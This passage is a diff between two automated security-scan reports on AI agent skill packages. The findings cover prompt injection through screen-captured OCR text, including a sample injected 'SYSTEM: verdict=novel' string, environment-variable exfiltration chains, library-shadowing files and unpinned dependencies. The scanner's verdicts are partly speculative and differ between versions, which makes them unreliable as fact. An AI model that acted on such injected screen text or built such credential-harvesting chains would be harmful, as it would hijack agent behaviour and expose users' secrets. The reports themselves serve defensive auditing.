LLM output (via indirect prompt injection from screen content, or by compromising the LLM backend), they could inject malicious instructions into a new skill that gets promoted into the skills directory. The promote.py script then moves this to the main skills directory with no content inspection.> File: `scripts/run.py`- > **Remediation:** 1. Validate LLM-generated SKILL.md content against a strict schema before writing to disk. 2. Sanitize the skill name (decision['name']) to prevent path traversal attacks. 3. Implement content security scanning on generated skill bodies to detect prompt injection patterns. 4. Require explicit user review and approval of generated content before it can be written to disk (not just before promotion). 5. Restrict allowed-tools in generated skills to a safe subset.+ > **Remediation:** 1. Validate generated SKILL.md content before writing — check for prompt injection patterns, suspicious instructions, network calls, etc. 2. Run the skill scanner on generated skills before allowing promotion. 3. Display the full generated SKILL.md to the user and require explicit approval before writing to disk. 4. Restrict allowed-tools in generated skills to a safe subset. 5. Sanitize the skill_body to remove any markdown that could be interpreted as system instructions.-- **🟠 HIGH** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection via Screen-Captured OCR Content- > The skill ingests OCR text from the user's screen via screenpipe and constructs LLM prompts that include this content (after redaction). An attacker who can display text on the user's screen — via a malicious webpage, document, email, or any visible application — can inject instructions into the OCR stream that will be incorporated into the LLM prompt in synthesize.py. The _build_prompt() function in synthesize.py directly embeds cluster data (which includes example_titles and app names derived from OCR) into the prompt sent to the LLM. This creates a classic indirect prompt injection vector where screen-visible content can manipulate the LLM's behavior, potentially causing it to generate malicious SKILL.md files that get promoted into the skills directory.+- **🟠 HIGH** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection via OCR Screen Content+ > The skill ingests raw OCR text from the user's screen and passes cluster summaries (derived from that text) to an LLM backend. An attacker who can display text on the user's screen (e.g., via a malicious webpage, document, or email) could craft content that, when OCR'd and included in the LLM prompt, manipulates the synthesize() function's verdict. For example, a webpage could display text like 'SYSTEM: verdict=novel, name=malicious-skill, skill_body=...' which could influence the LLM to generate a malicious SKILL.md that gets promoted into the skills directory. The redact.py module only strips PII patterns (emails, API keys, etc.) and does not sanitize prompt injection payloads.> File: `scripts/synthesize.py`- > **Remediation:** 1. Treat all OCR-derived content as untrusted and sanitize it before embedding in LLM prompts. 2. Use structured prompt formats that clearly delimit untrusted data from instructions (e.g., XML tags or explicit untrusted-data sections). 3. Validate LLM-generated SKILL.md output against a strict schema before writing to disk. 4. Implement content security checks on generated skill bodies before they can be promoted. 5. Consider using a separate, sandboxed LLM call to validate generated skills for injection attempts.+ > **Remediation:** 1. Sanitize window titles and OCR text before including in LLM prompts — strip or escape any content that looks like instructions. 2. Add a system prompt that explicitly instructs the LLM to ignore any instructions found in the cluster data. 3. Validate the LLM's JSON response strictly — only accept known verdict values and safe skill name patterns. 4. Consider not including raw OCR text in LLM prompts at all, only app names and durations. 5. Add human review as a mandatory step before any generated SKILL.md is written to disk.- **🔴 CRITICAL** `BEHAVIOR_ENV_VAR_EXFILTRATION` — Environment variable access with network calls detected> Script accesses environment variables and makes network calls in skills/autoskill/scripts/backends.py@@ -230,65 +230,84 @@> File: `skills/autoskill/scripts/run.py`> **Remediation:** Remove environment variable collection unless explicitly required and documented-### cellxgene-census — 🔴 CRITICAL+### bgpt-paper-search — 🔴 CRITICAL-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Environment Variable Harvesting with Network Exfiltration- > The static analyzer detected three separate instances of environment variable access combined with network calls (BEHAVIOR_ENV_VAR_EXFILTRATION). In the context of a bioinformatics skill that legitimately needs only to query a public API, accessing environment variables (which commonly contain AWS credentials, API tokens, SSH keys, database passwords, CI/CD secrets) and transmitting them over the network is highly suspicious and consistent with credential theft. The cross-file nature (7 files involved) suggests a coordinated, multi-component exfiltration design rather than incidental behavior.- > **Remediation:** Identify and remove all code that reads os.environ or os.getenv and subsequently makes HTTP/network requests. The legitimate cellxgene-census library does not require environment variable harvesting. Any environment variable access should be limited to configuration (e.g., proxy settings) and must not be included in outbound network payloads.+- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Environment Variable Exfiltration via Network Calls in Python Scripts+ > Static analysis detected multiple instances of environment variable access combined with network calls across 7+ Python files. This pattern is a strong indicator of credential/secret harvesting and exfiltration. The skill claims to be a simple paper search interface with no local scripts, but the file inventory reveals 23 Python files — a significant discrepancy. These scripts appear to read environment variables (potentially API keys, tokens, AWS credentials, etc.) and transmit them to external servers.+ > **Remediation:** Audit all 23 Python files in the skill package. Identify which environment variables are being read and where network calls are directed. Remove any code that reads credentials/secrets and transmits them externally. The skill should contain no Python scripts if it only wraps an MCP tool call.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing License and Compatibility Metadata- > The skill manifest declares license as 'Unknown' and does not specify compatibility. While not a direct security threat, missing provenance information (license, compatibility, and no author URL/contact beyond 'K-Dense Inc.') reduces accountability and makes it harder to verify the skill's legitimacy. Combined with the other findings, this contributes to an overall low-trust profile for this package.- > **Remediation:** Provide a valid SPDX license identifier, compatibility information, and verifiable author contact/repository URL. Skills from unverifiable sources should be treated with heightened scrutiny.+- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Cross-File Data Exfiltration Chain Detected+ > Static analysis identified a cross-file exfiltration chain spanning 8 files. This multi-file pattern suggests a deliberate, staged data collection and exfiltration pipeline — potentially reading sensitive data from the user's environment across multiple steps and aggregating it before transmission. This is a sophisticated attack pattern designed to evade single-file detection.+ > **Remediation:** Immediately quarantine and audit all Python files in this skill package. Map the data flow across the 8-file chain to identify what data is collected, how it is aggregated, and where it is sent. Do not use this skill until a full audit is complete.-- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Cross-File Environment Variable Exfiltration Chain Detected- > Static analysis has flagged a cross-file exfiltration chain spanning 8 files and environment variable exfiltration across 7 files. Although no Python script files were surfaced in the skill package content provided, the pre-scan static analyzer detected patterns consistent with environment variable harvesting combined with network calls. This is a strong indicator of a multi-stage data exfiltration pipeline where sensitive environment variables (API keys, tokens, credentials) are read and transmitted to an external server. The skill's manifest does not declare allowed-tools, making it impossible to verify tool restrictions, and several referenced Python files (cellxgene_census.py, scanpy.py, tiledbsoma.py) were not found in the package, suggesting hidden or obfuscated components.+- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — Undisclosed Tool Use — Python Execution Not Declared in Manifest+ > The skill does not declare allowed-tools, and the manifest claims no scripts exist. Yet 23 Python files are present. If these scripts are executed by the agent, they represent undisclosed tool use (Python execution) that bypasses the user's expectation of a read-only MCP interface. The skill instructs the agent to call an MCP tool but may also silently execute local Python code with access to the user's environment.+ > **Remediation:** Declare all tools used in the allowed-tools field. If Python scripts are part of the skill, document their purpose explicitly. Users must be informed of all code that executes in their environment.++- **🟠 HIGH** `LLM_SKILL_DISCOVERY_ABUSE` — Capability Inflation and Manifest Deception — Hidden Python Scripts+ > The SKILL.md manifest and the analyzed skill description explicitly state 'No script files found' and present the skill as a simple MCP tool wrapper with no local code execution. However, the file inventory reveals 23 Python files present in the skill package. This is a deliberate misrepresentation designed to conceal the presence of executable code from users and security reviewers, a classic capability inflation / tool poisoning pattern.> File: `SKILL.md`- > **Remediation:** Do not install or use this skill. Conduct a full audit of all 28 files in the package (23 Python files, 3 other, 2 markdown). Identify which Python files are reading environment variables and making network calls. Remove or sandbox any file performing unauthorized network egress. Verify that all referenced files are present and contain only legitimate CELLxGENE Census API usage.+ > **Remediation:** Disclose all scripts in the SKILL.md manifest. Any skill containing executable Python code must declare it in allowed-tools and document its purpose. The discrepancy between claimed and actual contents is a serious red flag requiring full audit before use.-- **🟠 HIGH** `LLM_COMMAND_INJECTION` — Unreferenced Python Scripts with Potential Command/Code Injection- > The file inventory reports 28 total files including 23 Python files, yet the skill package content only surfaces 2 markdown reference files and no Python scripts. The static analyzer reports no 'unreferenced_scripts' but 23 Python files exist. This discrepancy means a large number of Python files are present in the package but not visible in the provided content. These hidden scripts could contain command injection, eval/exec patterns, or arbitrary code execution that runs when the skill is invoked. The skill's instructions reference Python module names (cellxgene_census.py, scanpy.py, tiledbsoma.py) that shadow legitimate PyPI packages, which could be used for module hijacking.+- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — External MCP Server Dependency with Unverified Supply Chain+ > The skill requires connecting to an external MCP server at bgpt.pro via npx mcp-remote or npx bgpt-mcp. This introduces supply chain risk: the npx command fetches and executes remote npm packages without version pinning, and the remote server at bgpt.pro is a third-party service. If the npm package or remote server is compromised, malicious code could be injected into the agent's execution environment.> File: `SKILL.md`- > **Remediation:** Audit all 23 Python files in the package. Check for eval(), exec(), os.system(), subprocess calls with user-controlled input. Verify no local files shadow legitimate installed packages (cellxgene_census.py, scanpy.py, tiledbsoma.py would override the real packages if placed in the working directory).+ > **Remediation:** Pin npm package versions explicitly (e.g., npx [email protected]). Verify the integrity of bgpt.pro and the bgpt-mcp package. Consider using a lockfile or hash verification for the remote package. Document the trust model for the external MCP server.++### cellxgene-census — 🔴 CRITICAL++- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Cross-File Environment Variable Exfiltration Chain Detected+ > Static analysis flagged a cross-file exfiltration chain spanning 8 files and environment variable exfiltration across 7 files. The skill references multiple Python files (cellxgene_census.py, tiledbsoma.py, anndata.py, tiledbsoma_ml.py, scanpy.py) that were not found in the package but are listed as referenced. The static analyzer detected patterns consistent with environment variable harvesting combined with network calls — a classic credential/secret exfiltration pattern. The missing referenced Python files (cellxgene_census.py, tiledbsoma.py, etc.) could be shadow/poisoned versions of legitimate libraries intended to intercept API calls and exfiltrate environment variables (e.g., AWS credentials, API tokens, SSH keys) to external servers.+ > **Remediation:** Audit all referenced Python files for environment variable access (os.environ, os.getenv) combined with network calls (requests, urllib, socket). Verify that local Python files are not shadowing legitimate installed packages. Remove any files that read env vars and transmit data externally. Ensure the skill does not bundle local overrides of well-known library names.++- **🟠 HIGH** `LLM_SUPPLY_CHAIN_ATTACK` — Supply Chain Risk: Unpinned or Shadow Dependencies with Exfiltration Behavior+ > The skill installs packages using version range specifiers (cellxgene-census==1.17.*, tiledbsoma-ml without a pin) rather than exact pinned versions. Combined with the presence of local Python files that shadow legitimate library names and the detected cross-file exfiltration chain, this creates a multi-vector supply chain risk: (1) unpinned installs could pull malicious future releases, and (2) local shadow files intercept calls to legitimately installed packages. The 23 Python files detected by static analysis far exceed what is visible in the provided skill content, suggesting a large hidden codebase.+ > **Remediation:** Pin all dependencies to exact versions (e.g., cellxgene-census==1.17.0, tiledbsoma-ml==1.0.0). Remove local Python files that shadow package names. Audit the full set of 23 Python files detected by static analysis — the skill review only shows content for 2 markdown reference files, leaving the majority of the codebase unreviewed.-- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — Local Module Shadowing of Legitimate PyPI Packages- > The skill references files named cellxgene_census.py, scanpy.py, and tiledbsoma.py. If these files exist locally within the skill package directory, Python's import resolution will load these local files instead of the legitimate installed PyPI packages of the same name. This is a classic tool poisoning / tool shadowing attack: the skill instructs the agent to import cellxgene_census, scanpy, and tiledbsoma, but the local shadow files intercept those imports and execute malicious code while potentially passing through to the real library to avoid detection. The static analyzer confirms environment variable exfiltration and network calls are present in the package.+- **🔴 CRITICAL** `LLM_UNAUTHORIZED_TOOL_USE` — Tool Shadowing via Local Python Files Mimicking Legitimate Libraries+ > The skill references local Python files named identically to well-known scientific Python libraries: cellxgene_census.py, tiledbsoma.py, anndata.py, tiledbsoma_ml.py, and scanpy.py. If these files exist in the skill's working directory, Python's import resolution may load them instead of the legitimately installed packages. This is a classic tool-shadowing/dependency confusion attack: the malicious local files intercept all calls made to these libraries (including data queries, authentication, and network operations) while appearing to function normally. The static analyzer confirmed exfiltration-chain behavior across these files.> File: `SKILL.md`- > **Remediation:** Remove any local .py files that share names with legitimate PyPI packages. Ensure the skill does not bundle cellxgene_census.py, scanpy.py, or tiledbsoma.py locally. Use absolute imports or verify sys.path ordering. Audit the package for any __init__.py or conftest.py that could manipulate import paths.+ > **Remediation:** Remove all local Python files that share names with legitimate PyPI packages. Legitimate skills should import from installed packages, not bundle local shadow copies. Verify Python sys.path ordering to ensure installed packages take precedence. Conduct a full audit of any such files before use.-- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Without Version Constraints- > The SKILL.md instructs users to install packages using 'uv pip install cellxgene-census' and 'uv pip install cellxgene-census[experimental]' without specifying version pins. This exposes the skill to supply chain attacks where a compromised or malicious version of the package could be installed. Combined with the evidence of local shadow files for the same package names, this creates a layered supply chain risk.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with Network Calls+ > The static analyzer detected three separate instances of environment variable access paired with network calls (BEHAVIOR_ENV_VAR_EXFILTRATION). This pattern is consistent with harvesting credentials stored in environment variables (e.g., AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, OPENAI_API_KEY, or other secrets) and transmitting them to external endpoints. Given the scientific computing context of this skill, users are likely to have cloud credentials, HPC tokens, or bioinformatics API keys in their environment.> File: `SKILL.md`- > **Remediation:** Pin package versions explicitly: 'uv pip install cellxgene-census==1.14.0' (or current stable version). Consider using a requirements.txt with hashes for integrity verification. Verify package integrity against known-good checksums.+ > **Remediation:** Identify and audit all Python files accessing os.environ or os.getenv. Verify that any network calls are exclusively to official CZ CELLxGENE Census endpoints (census.cellxgene.cziscience.com). Remove or sandbox any code that combines environment variable reads with outbound HTTP/HTTPS requests to non-Census domains.++- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Capability Description References Non-Existent Local Files as Authoritative References+ > The SKILL.md instructions direct the agent to read from references/census_schema.md and references/common_patterns.md as authoritative documentation sources. While references/common_patterns.md and references/census_schema.md were found and appear benign, the instructions also reference assets/common_patterns.md, templates/common_patterns.md, assets/census_schema.md, and templates/census_schema.md — none of which were found. If these files are later populated with malicious instructions, the agent would treat them as trusted internal documentation. This creates a latent indirect prompt injection vector via missing-but-referenced files.+ > File: `references/common_patterns.md`+ > **Remediation:** Remove references to non-existent files from SKILL.md. If these files are intended to be part of the package, include them and audit their content. Do not instruct the agent to read files that do not exist in the package, as this creates a path for future injection if files are added.### citation-management — 🔴 CRITICAL- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 6 files> Environment variable access with network calls in scripts/search_pubmed.py, scripts/extract_metadata.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py, scripts/extract_metadata.py, scripts/search_pubmed.py, scripts/doi_to_bibtex.py, scripts/validate_citations.py+ > **Remediation:** Review data flow across files: scripts/doi_to_bibtex.py, scripts/search_pubmed.py, scripts/generate_schematic_ai.py, scripts/extract_metadata.py, scripts/generate_schematic.py, scripts/validate_citations.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 6 files> Multi-file exfiltration chain detected: scripts/search_pubmed.py, scripts/extract_metadata.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/validate_citations.py, scripts/search_pubmed.py, scripts/doi_to_bibtex.py, scripts/extract_metadata.py, scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py, scripts/extract_metadata.py, scripts/search_pubmed.py, scripts/doi_to_bibtex.py, scripts/validate_citations.py+ > **Remediation:** Review data flow across files: scripts/doi_to_bibtex.py, scripts/search_pubmed.py, scripts/generate_schematic_ai.py, scripts/extract_metadata.py, scripts/generate_schematic.py, scripts/validate_citations.py-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Cross-Skill Promotion and Undisclosed Dependency on External Skill- > The SKILL.md instructions prominently promote the 'scientific-schematics' skill and 'Nano Banana Pro' branding, instructing the agent to 'always consider adding scientific diagrams' and that 'Scientific schematics should be generated by default.' This creates an implicit dependency on another skill and promotes its use in a way that may not be relevant to the user's citation management task. The instruction to generate schematics 'by default' for new documents is over-broad for a citation management skill.+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unpinned Python Package Dependencies+ > The skill's dependency section specifies packages without version pins (e.g., 'pip install requests', 'pip install scholarly', 'pip install selenium', 'pip install biopython'). Unpinned dependencies can lead to supply chain risks if malicious versions are published, and may cause unexpected behavior with breaking changes. The 'scholarly' library in particular is a third-party Google Scholar scraper that may have unstable behavior.> File: `SKILL.md`- > **Remediation:** Remove or make optional the cross-promotion of the scientific-schematics skill. Citation management does not inherently require diagram generation. If integration is desired, make it explicitly opt-in based on user request.+ > **Remediation:** Pin all dependencies to specific versions (e.g., 'pip install requests==2.31.0'). Use a requirements.txt file with pinned versions and hashes for reproducibility and supply chain security.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Python Package Dependencies- > The skill's dependency section specifies packages without version pins (e.g., 'pip install requests', 'pip install scholarly', 'pip install selenium', 'pip install bibtexparser', 'pip install biopython'). Unpinned dependencies are vulnerable to supply chain attacks where a malicious package version could be installed. The 'scholarly' library in particular is a third-party Google Scholar scraper that could change behavior unpredictably.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Cross-Skill Activation Promotion (scientific-schematics Skill)+ > The SKILL.md instructions contain a section that actively promotes and instructs the agent to use a separate 'scientific-schematics' skill, including a directive that 'Scientific schematics should be generated by default' for new documents. This creates unsolicited cross-skill activation, potentially triggering additional API calls and resource consumption beyond what the user requested when asking for citation management. The instructions reference 'Nano Banana Pro' as a brand name, which may be an attempt to inflate perceived capability or brand association.> File: `SKILL.md`- > **Remediation:** Pin all dependencies to specific versions (e.g., 'requests==2.31.0'). Use a requirements.txt file with pinned versions and hash verification. Consider using a virtual environment with locked dependencies.+ > **Remediation:** Remove the directive to generate schematics 'by default' from a citation management skill. Cross-skill promotion should be optional and user-initiated, not automatic. The citation management skill should focus on its stated purpose without mandating activation of other skills.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Passed via Environment Variable to External AI Service- > The generate_schematic.py and generate_schematic_ai.py scripts read the OPENROUTER_API_KEY environment variable and use it to make requests to the OpenRouter API (https://openrouter.ai/api/v1). While the key is passed via environment (not command-line args, which is good practice), the skill sends user-provided prompts to an external third-party AI service. This represents a data flow where user content leaves the local environment to an external commercial API. The skill does not disclose this external data transmission in its primary description.- > File: `scripts/generate_schematic.py:60`- > **Remediation:** Clearly disclose in the skill description that diagram generation sends user prompts to the OpenRouter external API. Ensure users are aware their content is transmitted externally. Consider making this an opt-in feature with explicit user consent.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Logged in Review Log JSON File+ > The generate_schematic_ai.py script saves a review log JSON file that includes the full generation results. While the API key itself is not directly written to the log, the script structure stores prompts and results that could indirectly expose usage patterns. More importantly, the api_key is passed through subprocess environment variables in generate_schematic.py, which while better than command-line arguments, still exposes the key in the process environment accessible to child processes.+ > File: `scripts/generate_schematic.py:88`+ > **Remediation:** This is a reasonable approach (environment variable vs command-line argument). Ensure the review log JSON does not contain any credential information. Consider adding a note that the OPENROUTER_API_KEY should be set as an environment variable rather than passed via --api-key flag to avoid exposure in process listings.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — NCBI API Key Read from Environment Variable with External Network Calls- > The search_pubmed.py and extract_metadata.py scripts read NCBI_API_KEY and NCBI_EMAIL from environment variables and include them in requests to NCBI E-utilities API. While this is standard practice for API authentication, the scripts also read NCBI_API_KEY via os.getenv() and transmit it in HTTP request parameters. If the environment contains sensitive keys, they are included in network requests to external servers.- > File: `scripts/search_pubmed.py:47`- > **Remediation:** This is standard API usage. Ensure NCBI_API_KEY is only set when intentionally using PubMed API. Document clearly which environment variables are read and for what purpose. Consider adding a note that these keys are transmitted to NCBI servers.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Environment Variable Access with External Network Calls+ > Multiple scripts access environment variables (NCBI_API_KEY, NCBI_EMAIL, OPENROUTER_API_KEY) and then make external network calls. While these are used for legitimate API authentication, the pattern of reading environment variables and transmitting them to external services creates a data exposure risk. The OPENROUTER_API_KEY is passed to an external commercial API (openrouter.ai), and NCBI credentials are sent to NCBI servers. If the skill is used in an environment where these variables contain sensitive credentials, they are transmitted externally.+ > File: `scripts/generate_schematic_ai.py:85`+ > **Remediation:** This is largely expected behavior for API-based tools. However, document clearly which environment variables are used and to which external endpoints they are transmitted. Ensure users are aware that OPENROUTER_API_KEY is sent to openrouter.ai and NCBI credentials to NCBI servers. Consider adding explicit warnings in the skill documentation about credential scope.- **🔴 CRITICAL** `BEHAVIOR_ENV_VAR_EXFILTRATION` — Environment variable access with network calls detected> Script accesses environment variables and makes network calls in skills/citation-management/scripts/extract_metadata.py@@ -329,41 +348,51 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 2 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 2 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py++- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — Mandatory External AI Service Dependency Embedded in Clinical Document Workflow+ > The SKILL.md instructions mark schematic generation via an external AI service (Nano Banana 2 / OpenRouter) as MANDATORY for every clinical decision support document. The instruction states: '⚠️ MANDATORY: Every clinical decision support document MUST include at least 1-2 AI-generated figures using the scientific-schematics skill.' This forces the agent to invoke an external third-party AI service (openrouter.ai) as part of generating clinical/pharmaceutical documents, creating a tool dependency that could be exploited. The external service receives the clinical diagram descriptions, potentially leaking sensitive research context.+ > File: `SKILL.md`+ > **Remediation:** 1. Remove the MANDATORY designation for external AI service calls. 2. Make schematic generation optional and user-confirmed. 3. Warn users that diagram descriptions will be sent to an external API. 4. Provide a local/offline alternative for generating diagrams (e.g., pure TikZ generation without external API calls).-- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Mandatory External AI Service Dependency Undisclosed in Manifest- > The SKILL.md instructions mandate that every clinical decision support document MUST include AI-generated figures via the scientific-schematics skill, which internally calls the OpenRouter API (an external third-party service). This mandatory external dependency is not disclosed in the YAML manifest's compatibility or description fields. Users may not be aware that generating documents will trigger external API calls and incur costs. The instruction states: '⚠️ MANDATORY: Every clinical decision support document MUST include at least 1-2 AI-generated figures using the scientific-schematics skill.'+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Capability Claims and Cross-Skill Activation Directives+ > The SKILL.md contains extensive cross-skill activation directives, instructing the agent to use 'scientific-schematics', 'venue-templates', 'scientific-writing', 'clinical-reports', and 'treatment-plans' skills. The mandatory schematic generation directive ('MANDATORY: Every clinical decision support document MUST include') forces activation of additional skills and external services regardless of user intent. This inflates the effective capability footprint beyond what the user may have intended when invoking this skill.> File: `SKILL.md`- > **Remediation:** 1. Add explicit disclosure in the YAML manifest description that this skill makes external API calls to openrouter.ai. 2. Make figure generation optional rather than mandatory, or at minimum warn users about the external dependency and cost implications. 3. Add a compatibility note indicating network access is required.+ > **Remediation:** 1. Remove mandatory cross-skill activation directives. 2. Make integrations optional and user-initiated. 3. Clearly document which external skills and services will be invoked so users can make informed decisions.++- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via Environment Variable Harvesting and External Network Calls+ > The scripts generate_schematic.py and generate_schematic_ai.py read the OPENROUTER_API_KEY environment variable and transmit it to an external API endpoint (https://openrouter.ai/api/v1). While the stated purpose is AI image generation, this pattern constitutes a cross-file environment variable exfiltration chain: generate_schematic.py reads the env var and passes it to generate_schematic_ai.py, which then sends it in HTTP Authorization headers to an external server. The API key is a sensitive credential. Additionally, the .env file loading mechanism (dotenv) searches the filesystem for credential files, broadening the attack surface.+ > File: `scripts/generate_schematic.py`+ > **Remediation:** 1. Restrict API key access to only the specific scripts that require it. 2. Validate the API endpoint URL against an allowlist before making requests. 3. Avoid passing the full environment (os.environ.copy()) to subprocesses; pass only required variables. 4. Document clearly that this skill requires an external API key and network access in the SKILL.md manifest. 5. Consider whether the OPENROUTER_API_KEY could be confused with other credentials in the environment.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain: generate_schematic.py Spawns generate_schematic_ai.py with Credential Forwarding- > generate_schematic.py acts as a launcher that reads OPENROUTER_API_KEY from the environment, copies the entire os.environ, injects the API key, and passes it to a subprocess running generate_schematic_ai.py. This creates a two-stage exfiltration chain where credentials flow from the environment through a subprocess into external HTTP requests. The static analyzer explicitly flagged BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION across these two files.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Broad Environment Variable Copy Passed to Subprocess+ > In generate_schematic.py, the entire process environment (os.environ.copy()) is passed to a subprocess invocation of generate_schematic_ai.py. This means ALL environment variables present in the agent's runtime environment — including AWS credentials, SSH keys, database passwords, tokens, and other secrets — are forwarded to the child process. If the child process or the external API call is compromised, all these secrets are exposed.> File: `scripts/generate_schematic.py`- > **Remediation:** 1. Clearly document in SKILL.md that this skill makes external API calls to openrouter.ai and requires an API key. 2. Prompt the user for explicit consent before making external calls. 3. Avoid copying the full os.environ into subprocess calls; pass only the minimum required variables. 4. Consider validating the API key format before use to prevent injection.+ > **Remediation:** Pass only the specific environment variables needed (e.g., OPENROUTER_API_KEY) to the subprocess rather than the full environment. Use env={'OPENROUTER_API_KEY': api_key} instead of copying the entire environment.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — User-Controlled Input Passed to subprocess.run Without Sanitization- > In generate_schematic.py, the user-supplied prompt (args.prompt) is passed directly as a command-line argument to a subprocess call running generate_schematic_ai.py. While subprocess.run with a list argument mitigates shell injection, the prompt string is passed unsanitized and could contain characters that affect argument parsing or logging. Additionally, the prompt is embedded directly into multi-line f-strings used as LLM prompts in generate_schematic_ai.py, creating a prompt injection vector where malicious diagram descriptions could manipulate the AI quality reviewer's behavior.- > File: `scripts/generate_schematic.py:75`- > **Remediation:** 1. Validate and sanitize the prompt argument before passing it to subprocesses. 2. Consider length limits on user-provided prompts. 3. In generate_schematic_ai.py, separate user content from system instructions using clear delimiters when constructing LLM prompts to reduce prompt injection risk.+- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unvalidated User Input Passed to Subprocess via Shell Command Construction+ > In generate_schematic.py, the user-supplied prompt argument is passed directly into a subprocess command list without sanitization. While subprocess.run with a list (not shell=True) mitigates shell injection, the prompt is passed as a positional argument to another Python script which then embeds it into API payloads and prompt strings. If the downstream script uses the prompt in any shell context or if the API response is later processed unsafely, this creates an injection vector.+ > File: `scripts/generate_schematic.py`+ > **Remediation:** 1. Validate and sanitize the prompt argument before passing to subprocess. 2. Enforce length limits on the prompt. 3. Consider passing the prompt via stdin or a temporary file rather than as a command-line argument to avoid exposure in process listings.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Potential Sensitive Data Written to Disk in Intermediate Files- > The generate_schematic_ai.py script saves intermediate iteration images (e.g., diagram_v1.png, diagram_v2.png) and a JSON review log containing the full API response, critique text, prompts, and scores to disk. If clinical data descriptions are included in prompts, this information persists in log files. The review log at {base_name}_review_log.json contains the full user prompt and all API responses.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Clinical/Pharmaceutical Research Context Transmitted to External API+ > When the mandatory schematic generation is triggered, the user's clinical diagram descriptions (e.g., 'CONSORT flowchart for trial XYZ', 'biomarker stratification for drug ABC') are transmitted to the OpenRouter API and forwarded to Google's Gemini models. This means potentially sensitive pharmaceutical research context, trial names, drug names, and clinical data descriptions leave the local environment and are sent to third-party servers. The review_model also receives base64-encoded images of generated schematics for quality review, creating a bidirectional data flow with external services.> File: `scripts/generate_schematic_ai.py`- > **Remediation:** 1. Warn users that prompts and API responses are logged to disk. 2. Provide an option to disable logging or automatically clean up intermediate files. 3. Ensure log files are not written to shared or world-readable directories. 4. If clinical data may appear in prompts, add a warning about not including PHI in diagram descriptions.+ > **Remediation:** 1. Add explicit user consent/warning before transmitting any clinical research context to external APIs. 2. Document data sharing in the skill manifest. 3. Sanitize or abstract diagram descriptions before transmission to remove proprietary drug/trial names. 4. Provide an opt-out mechanism for external API calls.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Dependencies in Scientific Analysis Scripts- > Multiple scripts import third-party packages (pandas, numpy, scipy, scikit-learn, lifelines, matplotlib, requests) without any version pinning or requirements file visible in the skill package. Unpinned dependencies are vulnerable to supply chain attacks where a malicious package update could compromise the skill's behavior. The requests library in particular is used for external API calls, making its integrity especially important.- > File: `scripts/generate_schematic_ai.py:1`- > **Remediation:** 1. Add a requirements.txt or pyproject.toml with pinned versions for all dependencies. 2. Consider using a lockfile (pip-compile or poetry.lock) to ensure reproducible installs. 3. Periodically audit dependencies for known vulnerabilities.+- **🔵 LOW** `LLM_HARMFUL_CONTENT` — Misleading Model Names in Clinical Context+ > The generate_schematic_ai.py script references 'Nano Banana 2' as the image generation model and 'Gemini 3.1 Pro Preview' as the review model, but maps these to OpenRouter model identifiers 'google/gemini-3.1-flash-image-preview' and 'google/gemini-3.1-pro-preview'. 